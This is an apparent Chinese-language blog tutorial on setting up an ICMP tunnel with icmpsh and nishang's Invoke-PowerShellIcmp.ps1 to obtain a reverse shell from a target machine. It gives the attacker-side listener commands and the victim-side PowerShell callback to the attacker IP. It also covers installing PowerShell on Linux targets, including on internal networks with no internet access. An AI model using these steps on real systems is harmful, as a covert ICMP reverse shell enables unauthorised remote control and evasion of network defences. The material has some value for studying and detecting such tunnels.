winexec函数 执行powershell 脚本_powershell搭建icmp隧道

2550a9a937ca64aeb57b9e754a10cb34.png

 说明

与其说是powershell搭建icmp隧道,不如说是icmpsh+powershell搭建的。icmpsh的使用可以参考上上篇的文章,它是在攻击机执行icmpsh_m.py文件,然后在受害机执行的icmpsh.exe。

842f44bc9954877d69474a82dbc05d47.png

现在针对powershell的方法,就是把icmpsh.exe换成powershell脚本。攻击机还是运行icmpsh_m.py。

c93316af1e6ed4b3610016ee3ee9d4c2.png

像之前的icmpsh.exe是只能在目标机为windows的系统上运行,而powershell脚本只要目标机有环境就可以运行,这也是他们的一个区别。

过程

我这里换了下ip地址,和上面图中的不一样。

首先在攻击机上将系统icmp回应关掉,然后执行icmpsh_m.py,指定攻击ip和目标ip。

sysctl -w net.ipv4.icmp_echo_ignore_all=1./icmpsh_m.py 192.168.241.128 192.168.241.129

在受害机运行我们的powershell脚本,脚本使用nishang中的Invoke-PowerShellIcmp.ps1,脚本使用方法和之前的icmpsh.exe类似,导入模块,然后跟攻击机ip即可,如下图。

powershellImport-Module .\Invoke-PowerShellIcmp.ps1Invoke-PowerShellIcmp 192.168.241.128

426fd041b87af9ddeb0c2d452e2a80ed.png

随后,我们的攻击机就会接收到返回的shell。

c5a96bb6a9100587990fa83d2704f87a.png

查看数据包。

1601f9128e4a5172bac4dbaa368e8aa2.png

目标机Linux

针对目标机为linux的情况,如果目标机没有powershell环境,我们需要安装一下,找到powershell的对应的rpm包下载后安装即可。

wget https://github.com/PowerShell/PowerShell/releases/powershell-xxxxx-centos

因为以后会更新版本的问题,这里具体的下载连接就拿xxx举例,具体连接在github上获取。

rpm -ivh powershell.rpm

相关截图如下:

3600f1018f641dc99f0a8a83b3426e39.png

47386e5c702e0084ce3ef0b45a2099b7.png

0591bf9031433ce3cfc6f4bc1e81bedc.png

Linux安装powershell问题

如果powershell使用rpm -ivh命令安装提示没有依赖包的情况,则需要安装相应的依赖包,考虑到依赖包如果在比较多的情况下,且相互依赖关系复杂,不利于我们安装,所以我们可以使用yum命令本地安装的方法,让它自动解决依赖问题,命令如下。

yum localinstall percona-xxxx.rpm -y

再有一种情况就是,如果目标机在内网,yum命令使用有限,上述命令不能使用的时候,我们另一种办法进行解决。即把powershell涉及到的rpm包依赖全部拷贝到目标机,然后一块安装。

操作步骤:首先我们需要在本机的环境中修改yum的配置文件,将其缓存功能打开,作用就是yum命令安装的rpm包所涉及到的依赖都会保存下载。

/etc/yum.conf

然后将配置文件中的keepcache=1值改为1,这时再使用yum来安装rpm包,涉及到的依赖都会保存在/var/cache/yum下,我们把这些包统一上传到目标机,然后执行下面的命令即可。

rpm -ivh *.rpm --nodeps --force
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值